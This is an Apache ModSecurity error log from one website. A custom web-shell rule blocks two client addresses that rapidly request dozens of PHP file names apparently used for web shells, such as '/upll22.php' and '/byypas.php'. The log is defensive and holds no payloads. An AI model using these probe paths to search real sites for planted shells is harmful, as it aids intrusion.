[Mon Apr 13 17:28:08.713423 2026] [:error] [pid 57183:tid 57194] [client 158.158.40.237:56205] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "ady3KDDO3t8R5NaxzYTZ1gAAAUk"]
[Mon Apr 13 17:28:13.221045 2026] [:error] [pid 57183:tid 57209] [client 172.213.213.128:3973] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "ady3LTDO3t8R5NaxzYTZ6wAAAVg"]
[Mon Apr 13 17:28:17.113462 2026] [:error] [pid 7228:tid 7241] [client 172.213.213.128:56963] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "ady3MQEnn1dQrOSHHNVe6gAAAQs"]
[Mon Apr 13 17:28:19.847630 2026] [:error] [pid 57183:tid 57185] [client 172.213.213.128:56981] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "ady3MzDO3t8R5NaxzYTaAwAAAUA"]
[Mon Apr 13 17:28:25.124835 2026] [:error] [pid 7228:tid 7239] [client 172.213.213.128:4022] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "ady3OQEnn1dQrOSHHNVe-wAAAQk"]
[Mon Apr 13 17:28:29.954803 2026] [:error] [pid 57183:tid 57185] [client 172.213.213.128:3969] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "ady3PTDO3t8R5NaxzYTaFQAAAUA"]
[Mon Apr 13 17:28:39.018618 2026] [:error] [pid 63406:tid 63424] [client 172.213.213.128:3979] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "ady3R7HZEIkQ0Zmgp5oouwAAAM0"]
[Mon Apr 13 17:28:42.891006 2026] [:error] [pid 7228:tid 7247] [client 172.213.213.128:3998] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "ady3SgEnn1dQrOSHHNVfIwAAARE"]
[Mon Apr 13 17:28:48.607182 2026] [:error] [pid 57183:tid 57197] [client 172.213.213.128:52622] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "ady3UDDO3t8R5NaxzYTaOgAAAUw"]
[Mon Apr 13 17:28:50.076652 2026] [:error] [pid 63406:tid 63413] [client 172.213.213.128:59138] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "ady3UrHZEIkQ0Zmgp5oo8gAAAMI"]
[Mon Apr 13 17:32:29.547346 2026] [:error] [pid 63406:tid 63423] [client 158.158.40.237:56772] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "ady4LbHZEIkQ0Zmgp5orrwAAAMw"]
[Mon Apr 13 17:32:33.818630 2026] [:error] [pid 63406:tid 63435] [client 158.158.40.237:56276] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "ady4MbHZEIkQ0Zmgp5orxAAAANg"]
[Mon Apr 13 17:32:38.562305 2026] [:error] [pid 63406:tid 63416] [client 158.158.40.237:55940] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "ady4NrHZEIkQ0Zmgp5or2QAAAMU"]
[Mon Apr 13 17:32:41.750930 2026] [:error] [pid 7228:tid 7236] [client 158.158.40.237:55985] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "ady4OQEnn1dQrOSHHNVgqAAAAQY"]
[Mon Apr 13 17:32:44.232003 2026] [:error] [pid 9314:tid 9332] [client 158.158.40.237:6158] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "ady4PG_r4W8fX2GWyGTRuQAAAZA"]
[Mon Apr 13 17:32:53.353680 2026] [:error] [pid 57183:tid 57199] [client 158.158.40.237:6194] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "ady4RTDO3t8R5NaxzYTc_wAAAU4"]
[Mon Apr 13 17:33:01.087606 2026] [:error] [pid 63406:tid 63411] [client 158.158.40.237:6162] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ady4TbHZEIkQ0Zmgp5osAQAAAMA"]
[Mon Apr 13 17:33:10.063513 2026] [:error] [pid 9314:tid 9338] [client 158.158.40.237:55961] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ady4Vm_r4W8fX2GWyGTR8AAAAZY"]
[Mon Apr 13 17:33:17.386787 2026] [:error] [pid 57183:tid 57208] [client 158.158.40.237:57214] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ady4XTDO3t8R5NaxzYTdHAAAAVc"]
[Mon Apr 13 17:35:09.665288 2026] [:error] [pid 9314:tid 9324] [client 172.213.213.128:55028] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "ady4zW_r4W8fX2GWyGTTQQAAAYg"]
[Mon Apr 13 17:35:13.687017 2026] [:error] [pid 63406:tid 63412] [client 172.213.213.128:57800] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "ady40bHZEIkQ0Zmgp5otlgAAAME"]
[Mon Apr 13 17:35:22.493729 2026] [:error] [pid 9314:tid 9325] [client 172.213.213.128:60500] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "ady42m_r4W8fX2GWyGTTTQAAAYk"]
[Mon Apr 13 17:35:27.541095 2026] [:error] [pid 63406:tid 63424] [client 158.158.40.237:6759] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "ady437HZEIkQ0Zmgp5otvQAAAM0"]
[Mon Apr 13 17:35:28.220777 2026] [:error] [pid 9314:tid 9332] [client 172.213.213.128:55033] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ady44G_r4W8fX2GWyGTTWgAAAZA"]
[Mon Apr 13 17:35:29.266741 2026] [:error] [pid 63310:tid 63349] [client 158.158.40.237:7053] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "ady44XoXpRU5ztmwPjIzlAAAAEU"]
[Mon Apr 13 17:35:30.528490 2026] [:error] [pid 63311:tid 63374] [client 158.158.40.237:59291] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "ady44qHjrGN1MqBCVFnWKQAAAIM"]
[Mon Apr 13 17:35:31.471197 2026] [:error] [pid 63311:tid 63395] [client 158.158.40.237:6222] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "ady446HjrGN1MqBCVFnWKwAAAJg"]
[Mon Apr 13 17:35:34.247082 2026] [:error] [pid 63309:tid 63329] [client 158.158.40.237:59265] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "ady45kpIKZ10weXpf0UG9wAAABA"]
[Mon Apr 13 17:35:34.982605 2026] [:error] [pid 7228:tid 7238] [client 158.158.40.237:6735] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "ady45gEnn1dQrOSHHNVhIAAAAQg"]
[Mon Apr 13 17:35:36.252277 2026] [:error] [pid 63311:tid 63377] [client 172.213.213.128:3826] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ady46KHjrGN1MqBCVFnWOwAAAIY"]
[Mon Apr 13 17:35:41.791322 2026] [:error] [pid 63406:tid 63432] [client 158.158.40.237:65063] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "ady47bHZEIkQ0Zmgp5ot6gAAANU"]
[Mon Apr 13 17:35:58.450442 2026] [:error] [pid 63406:tid 63433] [client 158.158.40.237:6952] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "ady4_rHZEIkQ0Zmgp5ouFQAAANY"]
[Mon Apr 13 17:36:01.837884 2026] [:error] [pid 63309:tid 63325] [client 158.158.40.237:61879] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "ady5AUpIKZ10weXpf0UHGAAAAAw"]
[Mon Apr 13 17:36:01.841957 2026] [:error] [pid 9314:tid 9330] [client 172.213.213.128:55934] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady5AW_r4W8fX2GWyGTTjQAAAY4"]
[Mon Apr 13 17:36:03.201588 2026] [:error] [pid 57183:tid 57208] [client 172.213.213.128:55930] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady5AzDO3t8R5NaxzYTezgAAAVc"]
[Mon Apr 13 17:36:04.012341 2026] [:error] [pid 63406:tid 63423] [client 158.158.40.237:6354] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady5BLHZEIkQ0Zmgp5ouJAAAAMw"]
[Mon Apr 13 17:36:05.075701 2026] [:error] [pid 63309:tid 63319] [client 158.158.40.237:6362] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady5BUpIKZ10weXpf0UHGQAAAAY"]
[Mon Apr 13 17:36:05.305137 2026] [:error] [pid 7228:tid 7239] [client 172.213.213.128:3828] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady5BQEnn1dQrOSHHNVhXAAAAQk"]
[Mon Apr 13 17:36:06.413306 2026] [:error] [pid 57183:tid 57186] [client 158.158.40.237:6960] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady5BjDO3t8R5NaxzYTe1AAAAUE"]
[Mon Apr 13 17:36:06.623795 2026] [:error] [pid 9314:tid 9338] [client 172.213.213.128:57558] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady5Bm_r4W8fX2GWyGTTlAAAAZY"]
[Mon Apr 13 17:36:08.984506 2026] [:error] [pid 63406:tid 63418] [client 158.158.40.237:59121] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "ady5CLHZEIkQ0Zmgp5ouLgAAAMc"]
[Mon Apr 13 17:36:10.199411 2026] [:error] [pid 57183:tid 57193] [client 158.158.40.237:54002] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady5CjDO3t8R5NaxzYTe3gAAAUg"]
[Mon Apr 13 17:36:11.910075 2026] [:error] [pid 63311:tid 63387] [client 158.158.40.237:6292] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady5C6HjrGN1MqBCVFnWiAAAAJA"]
[Mon Apr 13 17:36:17.367986 2026] [:error] [pid 7228:tid 7235] [client 158.158.40.237:6344] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady5EQEnn1dQrOSHHNVheAAAAQU"]
[Mon Apr 13 17:36:20.065947 2026] [:error] [pid 63406:tid 63420] [client 158.158.40.237:6350] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady5FLHZEIkQ0Zmgp5ouRgAAAMk"]
[Mon Apr 13 17:36:22.855891 2026] [:error] [pid 63406:tid 63421] [client 158.158.40.237:59104] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ady5FrHZEIkQ0Zmgp5ouVAAAAMo"]
[Mon Apr 13 17:40:30.760977 2026] [:error] [pid 63310:tid 63353] [client 172.213.213.128:3889] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "ady6DnoXpRU5ztmwPjI0bgAAAEk"]
[Mon Apr 13 17:40:33.171220 2026] [:error] [pid 63406:tid 63415] [client 172.213.213.128:55024] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "ady6EbHZEIkQ0Zmgp5ox0gAAAMQ"]
[Mon Apr 13 17:40:42.789142 2026] [:error] [pid 63406:tid 63427] [client 172.213.213.128:55891] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady6GrHZEIkQ0Zmgp5ox6gAAANA"]
[Mon Apr 13 17:40:49.722848 2026] [:error] [pid 63406:tid 63429] [client 172.213.213.128:54978] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady6IbHZEIkQ0Zmgp5oyFAAAANI"]
[Mon Apr 13 17:40:51.905016 2026] [:error] [pid 9314:tid 9333] [client 158.158.40.237:56515] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady6I2_r4W8fX2GWyGTVvgAAAZE"]
[Mon Apr 13 17:40:53.077899 2026] [:error] [pid 9314:tid 9328] [client 172.213.213.128:55923] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady6JW_r4W8fX2GWyGTVwgAAAYw"]
[Mon Apr 13 17:40:55.356082 2026] [:error] [pid 63311:tid 63382] [client 172.213.213.128:64715] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady6J6HjrGN1MqBCVFnXdgAAAIs"]
[Mon Apr 13 17:40:57.280343 2026] [:error] [pid 63406:tid 63435] [client 172.213.213.128:3832] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady6KbHZEIkQ0Zmgp5oyNQAAANg"]
[Mon Apr 13 17:40:58.791418 2026] [:error] [pid 63311:tid 63395] [client 158.158.40.237:55548] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady6KqHjrGN1MqBCVFnXfAAAAJg"]
